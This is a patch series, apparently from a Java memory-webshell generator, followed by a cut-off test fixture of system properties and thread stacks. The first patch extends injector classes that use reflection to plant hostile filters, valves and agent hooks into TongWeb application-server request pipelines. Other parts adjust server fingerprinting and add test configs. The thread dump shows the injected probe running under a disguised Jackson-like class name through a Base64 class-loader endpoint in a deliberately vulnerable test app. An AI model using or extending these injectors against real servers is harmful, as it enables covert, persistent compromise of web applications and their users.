From 768b3ca49dc772511def4e6e2e984137b540fc0c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 8 Aug 2026 19:05:35 +0800 Subject: [PATCH 01/20] feat: support tongweb 7 embedded shell --- .../processors/ValveBuilderModifier.java | 8 ++++++-- .../TongWebContextValveAgentInjector.java | 3 ++- .../TongWebFilterChainAgentInjector.java | 3 ++- .../tongweb/TongWebFilterInjector.java | 18 +++++++++++++----- .../injector/tongweb/TongWebValveInjector.java | 9 +++++++-- .../javaweb/memshell/server/TongWeb.java | 3 +++ 6 files changed, 33 insertions(+), 11 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java index 9cfd51c7..31ac9fda 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ValveBuilderModifier.java @@ -45,6 +45,7 @@ public DynamicType.Builder process(DynamicType.Builder builder, ShellConfi public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor"; public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server"; + public static final String TONGWEB_EMBEDDED_VALVE_PACKAGE = "com.tongweb.container"; public static DynamicType.Builder modifier(DynamicType.Builder builder, AbstractServer shell, String serverVersion) { String packageName = null; @@ -53,7 +54,7 @@ public static DynamicType.Builder modifier(DynamicType.Builder builder, Ab } if (shell instanceof TongWeb) { if (serverVersion == null) { - throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion"); + throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion"); } switch (serverVersion) { case "6": @@ -65,8 +66,11 @@ public static DynamicType.Builder modifier(DynamicType.Builder builder, Ab case "8": packageName = TONGWEB8_VALVE_PACKAGE; break; + case "7.E": + packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE; + break; default: - throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion"); + throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion"); } } if (StringUtils.isNotBlank(packageName)) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java index 801edca6..bda6e8ee 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java @@ -17,7 +17,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer { private static final String[] TARGET_CLASSES = new String[]{ "com/tongweb/web/thor/core/StandardContextValve", "com/tongweb/catalina/core/StandardContextValve", - "com/tongweb/server/core/StandardContextValve" + "com/tongweb/server/core/StandardContextValve", + "com/tongweb/container/core/StandardContextValve" }; private static final String TARGET_METHOD_NAME = "invoke"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java index 9b3140a4..7945abe3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java @@ -17,7 +17,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer { private static final String[] TARGET_CLASSES = new String[]{ "com/tongweb/web/thor/core/ApplicationFilterChain", "com/tongweb/catalina/core/ApplicationFilterChain", - "com/tongweb/server/core/ApplicationFilterChain" + "com/tongweb/server/core/ApplicationFilterChain", + "com/tongweb/container/core/ApplicationFilterChain" }; private static final String TARGET_METHOD_NAME = "doFilter"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index 52443cfa..3e6a5eab 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -167,11 +167,19 @@ public void inject(Object context, Object filter) throws Exception { filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap"); filterMap = filterMapClass.newInstance(); } catch (Exception e) { - // tongweb 8 - constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; - filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); - filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); - filterMap = filterMapClass.newInstance(); + try { + // tongweb 8 + constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); + } catch (Exception e1) { + // tongweb embedded (spring boot) + constructor = contextClassLoader.loadClass("com.tongweb.container.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; + filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); + filterMap = filterMapClass.newInstance(); + } } } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index 7562ba40..47779166 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -141,8 +141,13 @@ public void inject(Object context, Object valve) throws Exception { // tongweb6 valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve"); } catch (ClassNotFoundException e1) { - // tongweb8 - valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve"); + try { + // tongweb8 + valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve"); + } catch (ClassNotFoundException e2) { + // tongweb embedded (spring boot) + valveClass = contextClassLoader.loadClass("com.tongweb.container.Valve"); + } } } invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java index ee18c7c7..7e0441cd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb.java @@ -19,8 +19,11 @@ public Class getListenerInterceptor() { public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(LISTENER, TongWebListenerInjector.class) + .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) .addInjector(FILTER, TongWebFilterInjector.class) + .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(VALVE, TongWebValveInjector.class) + .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .build(); From f962da2807dfcdf93e4e1d1030e365a012259c35 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 8 Aug 2026 19:06:39 +0800 Subject: [PATCH 02/20] chore: add bes tongweb boot info --- .../javaweb/probe/payload/ServerProbe.java | 2 +- .../integration/probe/ProbeTestConfig.java | 26 ++ .../Bes11SpringBootContainerTestBasicInfo.txt | 375 +++++++++++++++ ...ngWeb7SpringBootContainerTestBasicInfo.txt | 429 ++++++++++++++++++ 4 files changed, 831 insertions(+), 1 deletion(-) create mode 100644 integration-test/src/test/resources/infos/Bes11SpringBootContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/TongWeb7SpringBootContainerTestBasicInfo.txt diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java index 52a5bca5..f956d652 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -44,7 +44,7 @@ public static String exit(@Advice.Return(readOnly = false) String ret) { if (System.getProperty("com.apusic.home") != null) { return ret = "Apusic"; } - if (System.getProperty("bes.home") != null + if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null) && classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) { return ret = "BES"; } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java index 9502c96b..2555908a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java @@ -287,6 +287,32 @@ public static ProbeTestConfigBuilder springbootUndertow(String imageName, Mounta .supportsSpringWebMvc(true); } + public static ProbeTestConfigBuilder springbootBes(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.BES) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsSpringWebMvc(true); + } + + public static ProbeTestConfigBuilder springbootTongweb(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.TongWeb) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsSpringWebMvc(true); + } + public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) { return builder() .imageName(imageName) diff --git a/integration-test/src/test/resources/infos/Bes11SpringBootContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes11SpringBootContainerTestBasicInfo.txt new file mode 100644 index 00000000..b3000ee7 --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes11SpringBootContainerTestBasicInfo.txt @@ -0,0 +1,375 @@ +# Generated At 2026-08-08 09:53:56 +SystemProps: +java.specification.version: 17 +bes.useNaming: false +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +bes.base: /appserver/bes.8080 +java.vendor.url: https://adoptium.net/ +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +file.separator: / +com.bes.product.type: SpringBoot +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +com.bes.instanceRoot: /appserver/bes.8080 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00374-gbbca68e8d741 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +java.version: 17.0.17 +com.bes.installRoot: /appserver/bes.8080 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b44dbe2 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"AppServer-utility-2" #20 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-7" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@198917e9 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@64ef44f1 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"httpWorkerThread-8080-3" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-6" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-4" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-8" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-1" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"AppServer-utility-1" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-5" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.17/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.17/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:255) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:188) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:926) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:831) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:586) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:654) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at 